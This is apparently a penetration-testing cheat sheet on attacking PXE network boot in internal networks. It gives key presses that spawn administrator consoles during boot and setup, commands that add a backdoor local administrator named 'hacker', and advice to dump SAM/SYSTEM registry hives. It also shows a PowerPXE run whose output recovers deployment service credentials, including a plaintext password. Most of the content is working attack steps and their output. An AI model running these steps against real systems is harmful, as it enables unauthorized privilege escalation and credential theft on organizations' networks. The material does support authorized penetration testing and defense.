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Internal - PXE Boot Image
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
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Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
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Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
net user hacker Password123! /add net localgroup administrators /add hacker -
Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.
# Import the module PS > Import-Module .\PowerPXE.ps1 # Start the exploit on the Ethernet interface PS > Get-PXEcreds -InterfaceAlias Ethernet PS > Get-PXECreds -InterfaceAlias « lab 0 » # Wait for the DHCP to get an address >> Get a valid IP address >>> >>> DHCP proposal IP address: 192.168.22.101 >>> >>> DHCP Validation: DHCPACK >>> >>> IP address configured: 192.168.22.101 # Extract BCD path from the DHCP response >> Request BCD File path >>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd >>> >>> TFTP IP Address: 192.168.22.3 # Download the BCD file and extract wim files >> Launch TFTP download >>>> Transfer succeeded. >> Parse the BCD file: conf.bcd >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim >> Launch TFTP download >>>> Transfer succeeded. # Parse wim files to find interesting data >> Open LiteTouchPE_x86.wim >>>> Finding Bootstrap.ini >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$ >>>> >>>> UserID = MdtService >>>> >>>> UserPassword = Somepass1